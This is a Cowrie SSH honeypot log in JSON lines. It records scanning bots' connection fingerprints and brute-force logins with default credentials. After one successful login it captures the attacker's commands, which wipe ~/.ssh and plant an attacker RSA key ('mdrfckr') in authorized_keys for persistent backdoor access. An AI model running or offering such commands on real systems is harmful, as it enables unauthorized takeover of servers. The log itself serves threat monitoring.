{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:42.414457Z","src_ip":"14.225.205.58","session":"5aee5ba9a4f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:42.677492Z","src_ip":"14.225.205.58","session":"5aee5ba9a4f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev1","password":"dev1","message":"login attempt [dev1/dev1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:43.757871Z","src_ip":"14.225.205.58","session":"5aee5ba9a4f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:45.023165Z","src_ip":"14.225.205.58","session":"5aee5ba9a4f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":50010,"dst_ip":"10.17.0.5","dst_port":22,"session":"934262da9559","protocol":"ssh","message":"New connection: 87.251.64.176:50010 (10.17.0.5:22) [session: 934262da9559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:57.254759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:57.259921Z","src_ip":"87.251.64.176","session":"934262da9559","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:57.356100Z","src_ip":"87.251.64.176","session":"934262da9559","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:57.644296Z","src_ip":"87.251.64.176","session":"934262da9559","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:57.794549Z","session":"934262da9559","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:57.891894Z","src_ip":"87.251.64.176","session":"934262da9559","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:57.990032Z","src_ip":"87.251.64.176","session":"934262da9559","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":52636,"dst_ip":"159.203.135.109","dst_port":22,"session":"5afbbce9518e","protocol":"ssh","message":"New connection: 14.225.205.58:52636 (159.203.135.109:22) [session: 5afbbce9518e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:04:40.491998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:04:40.496371Z","src_ip":"14.225.205.58","session":"5afbbce9518e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:04:40.756309Z","src_ip":"14.225.205.58","session":"5afbbce9518e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@321","message":"login attempt [ubuntu/ubuntu@321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:04:41.811673Z","src_ip":"14.225.205.58","session":"5afbbce9518e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:04:43.070835Z","src_ip":"14.225.205.58","session":"5afbbce9518e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":32962,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8161549fce5","protocol":"ssh","message":"New connection: 58.186.20.143:32962 (10.17.0.5:22) [session: d8161549fce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:04:47.209691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:04:47.214980Z","src_ip":"58.186.20.143","session":"d8161549fce5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:04:47.470657Z","src_ip":"58.186.20.143","session":"d8161549fce5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"p@ssword","message":"login attempt [test1/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:04:48.499099Z","src_ip":"58.186.20.143","session":"d8161549fce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:04:49.750728Z","src_ip":"58.186.20.143","session":"d8161549fce5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":51618,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf9ea4bc52ab","protocol":"ssh","message":"New connection: 160.251.185.39:51618 (10.17.0.5:22) [session: bf9ea4bc52ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:01.085083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:01.089327Z","src_ip":"160.251.185.39","session":"bf9ea4bc52ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:01.276053Z","src_ip":"160.251.185.39","session":"bf9ea4bc52ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer!","message":"login attempt [deployer/deployer!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:02.057369Z","src_ip":"160.251.185.39","session":"bf9ea4bc52ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":55732,"dst_ip":"159.203.135.109","dst_port":22,"session":"b638eff3d077","protocol":"ssh","message":"New connection: 101.47.159.125:55732 (159.203.135.109:22) [session: b638eff3d077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:02.660975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:02.669427Z","src_ip":"101.47.159.125","session":"b638eff3d077","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:02.909057Z","src_ip":"101.47.159.125","session":"b638eff3d077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:03.253252Z","src_ip":"160.251.185.39","session":"bf9ea4bc52ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mine","password":"minecraft","message":"login attempt [mine/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:03.899497Z","src_ip":"101.47.159.125","session":"b638eff3d077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:05.143127Z","src_ip":"101.47.159.125","session":"b638eff3d077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":47950,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1c3e935692a","protocol":"ssh","message":"New connection: 14.225.205.58:47950 (159.203.135.109:22) [session: d1c3e935692a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:39.115627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:39.120640Z","src_ip":"14.225.205.58","session":"d1c3e935692a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:39.381304Z","src_ip":"14.225.205.58","session":"d1c3e935692a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"st34m","message":"login attempt [steam/st34m] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:40.457332Z","src_ip":"14.225.205.58","session":"d1c3e935692a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:41.021195Z","src_ip":"14.225.205.58","session":"d1c3e935692a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:41.024220Z","src_ip":"14.225.205.58","session":"d1c3e935692a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:41.027343Z","src_ip":"14.225.205.58","session":"d1c3e935692a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:41.290734Z","src_ip":"14.225.205.58","session":"d1c3e935692a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:41.853341Z","src_ip":"14.225.205.58","session":"d1c3e935692a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:41.856649Z","src_ip":"14.225.205.58","session":"d1c3e935692a","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:42.123150Z","src_ip":"14.225.205.58","session":"d1c3e935692a","protocol":"ssh"}
